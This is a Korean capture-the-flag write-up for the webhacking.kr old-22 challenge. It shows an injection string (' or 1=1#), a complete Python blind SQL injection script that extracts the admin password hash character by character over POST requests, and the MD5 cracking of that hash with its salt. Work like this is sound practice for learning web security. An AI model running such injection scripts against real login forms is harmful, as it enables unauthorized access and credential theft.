webhacking.kr old-22 write-up
문제 첫 화면이다. 배점이 꽤나 있는 만큼 어려울 것이라 예상했지만 21번 문제랑 별 다를게 없었다. 여긴 오히려 친절하게 admin으로 login하고 column name이 id, pw 라는게 주어졌다. 이게 맞지... admin admin으로 로그인해보았지만 당연히 실패. guest guest로 join 한 다음 guest guest를 입력하니
갑자기 password hash값을 알려준다. 해쉬값 길이를 세보니 32자리였다. 32자리하면 딱 md5! 복호화시켜보자.
guestapple이란 값이 나왔다. 내가 입력한 값은 guest였는데 apple이 붙어서 암호화 된것을 알 수있다. 해쉬값을 비밀번호로 입력해보았지만 로그인 되지 않았다. 이걸 왜 준거지...? 일단 문제 푸는 단서가 될 수 있으니 염두해두도록하자.
바로 sql injection을 해보았다. ' or 1=1#
비밀번호를 다르게 쳤을때는 보통 login failed가 뜨는데 injection을 하니 wrong password가 뜬다! 뭔가 먹히는듯 하다. 또 blind injection이 시작된다. 이번에는 21번 문제와 달리 get 방식이 아닌 post 방식으로 넘겨주게 되어있다. 또한 uuid, pw로 name이 설정되어 있다. 파이썬으로 페이로드를 작성했다.
import requests
from urllib.parse import urlparse
params = {}
datalen = 0
for i in range(100):
url = "https://webhacking.kr/challenge/bonus-2/index.php"
params['uuid']="admin' and length(pw)="+str(i)+'#'
params['pw']='123'
res=requests.post(url, data=params)
if 'Wrong password' in res.text:
print('find {}'.format(i))
datalen=i
break
else:
print('failed...')
database = ''
for j in range(datalen):
for i in range(40,128):
url = "https://webhacking.kr/challenge/bonus-2/index.php"
params['uuid']="admin' and ascii(substring(pw,"+str(j+1)+",1))="+str(i)+"#"
params['pw']='123'
res=requests.post(url, data=params)
if 'Wrong password' in res.text:
print('find {}'.format(chr(i)))
database += chr(i)
print(database)
break
결과 값으로 해쉬값이 나온다. 6c9ca386a903921d7fa230ffa0ffc153
이것 또한 역시 32자리 수로 md5 복호화를 돌려보았다.
wowapple이다. 아까 내가 만든 guest계정에도 apple이 붙어있었는데 여기도 붙어있다. 아마도 패스워드는 wow인듯하다. id=admin, pw=wow를 입력해주면
solved!
아주 정석적인 문제였던거 같다. 배점이 낮은 전 문제보다 훨씬 쉬웠다.
Author And Source
이 문제에 관하여(webhacking.kr old-22 write-up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@whtmdgus56/webhacking.kr-old-22-write-up저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)